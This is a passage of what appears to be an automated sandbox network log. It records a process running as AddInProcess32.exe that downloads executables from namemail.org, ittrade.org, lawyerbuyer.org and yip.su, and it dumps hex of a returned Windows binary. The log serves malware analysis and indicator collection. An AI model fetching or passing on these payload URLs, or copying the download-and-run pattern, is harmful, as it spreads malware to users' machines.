shortiny_session=eyJpdiI6Im14MlBUZ1JhZUZBZHpmZVpSYkdBYWc9PSIsInZhbHVlIjoiNTF4b3B3Uml6UkdmOUlwZjdoZjBuMlF4dURBWDNCaGtJUiswMVpxbkIwaW5qZW0zZExoZURVY3dWcVV1V1Q1SWZXUDZXV2dDT2FMMmV2dnI1M3VmT1YvS0tJVWI1TFdGcDVRaDA2MU1MaldQU3pDdzN6UDZoVE1rUDZ5M0duMlQiLCJtYWMiOiI0ZmE4ZmI3N2UwZDMyYzg0M2JhYWQzZWE5YmJiY2IzNGQ1NDhmOGU5NDNlYjA5YmVlZDIxM2ZiNTc0NDM3NWRkIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:58 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
2024-03-11 02:30:59 UTC	397	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 70 47 69 57 56 79 53 78 38 78 55 35 38 46 77 46 79 32 67 57 31 70 30 49 76 5a 45 37 44 54 46 33 25 32 46 49 5a 6d 5a 43 30 48 64 68 59 6a 50 68 38 4c 50 41 74 67 5a 53 61 51 4a 7a 65 78 76 25 32 46 51 42 42 30 7a 57 30 66 6a 7a 65 55 61 6a 59 25 32 42 4a 53 6c 74 4d 41 64 76 4f 5a 63 43 6f 4c 36 4d 38 6b 47 63 6c 61 6e 4d 64 52 31 25 32 42 31 70 64 39 52 25 32 42 53 74 30 70 79 37 30 39 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pGiWVySx8xU58FwFy2gW1p0IvZE7DTF3%2FIZmZC0HdhYjPh8LPAtgZSaQJzexv%2FQBB0zW0fjzeUajY%2BJSltMAdvOZcCoL6M8kGclanMdR1%2B1pd9R%2BSt0py709"}],"group":"cf-nel","max_age":604800}NEL: {"
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 65 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1b<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
2024-03-11 02:30:59 UTC	880	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:30:59 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	55615	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	74	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org
2024-03-11 02:30:59 UTC	695	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BVDEdCrs7SQtlXMK%2FPBX5fYC8Zy6WgQI8yIQESdhElz%2FtvOZpRni9tSRGrqwXIM81xkhlzNRym%2Fxij%2F2ECgIShdZVwICWB%2Fkr%2FOpvaqvnjDcxdfcxF6kpne%2BWepOggk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820299e5c0adb-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	55609	172.67.178.183	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	74	OUT	GET /6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: namemail.org
2024-03-11 02:30:59 UTC	685	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FBHvSMkwysygsSwBQaoBeQ%2BFGDRsSyVmjNW3D2VWWtSUF92%2FIzTDfMkQoH19Fg9tE2oYBBfhDI2jgXiK2jKtpWJBrCOjSHyIZ5kJjhV3cJuR7Y5mdBF9SSMFSWu49N4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820299f740ad1-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	131	IN	Data Raw: 37 64 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 74 72 61 64 65 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7d<a href="https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe">Temporary Redirect</a>.
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	55618	104.21.63.71	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	110	OUT	GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: lawyerbuyer.org
2024-03-11 02:30:59 UTC	682	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:58 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283792 Connection: close Last-Modified: Sun, 10 Mar 2024 22:53:03 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=l5mKmkT3oAdAxlKhxLepxzZKGtnttD%2FzDO7HQ4iNY%2FkGd7eAROpTDKNVx22cwM8AT31Z5uBlp7buvhmcx5QAd9ctQ0SF2nesF%2Bmcqd0QT8HDBeK5qYp%2BtCnQzUXppimqbaM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202a6c4c09fb-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	687	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: ee 80 00 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 Data Ascii: fff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 8b ec 6a 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 Data Ascii: jju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 85 08 fe ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 02 00 00 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 5b 04 00 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 Data Ascii: [YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,54058
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 11 e8 c7 ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: cc cc 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 Data Ascii: D$9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	55619	172.67.169.89	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	41	OUT	GET /RNWPd.exe HTTP/1.1 Host: yip.su
2024-03-11 02:30:59 UTC	914	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close memory: 0.36199188232421875 expires: Mon, 11 Mar 2024 02:30:59 +0000 strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Last-Modified: Mon, 11 Mar 2024 02:30:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NswEYml%2FTbMhCNMjipNcWb3Y%2F4AjkfNOpr2hF2%2Fh%2Bj7Fy3h2mtWNes%2FHP%2Fi7w1aKRSu1m9DEMUaU0d3BqOSU%2FP%2Batavx7yG%2BAe8VySixDDkmqJ%2BzanXJung%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202aaa4009ff-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	455	IN	Data Raw: 31 64 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c Data Ascii: 1d16<!DOCTYPE html><html lang="" class="html"><head><title></title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,
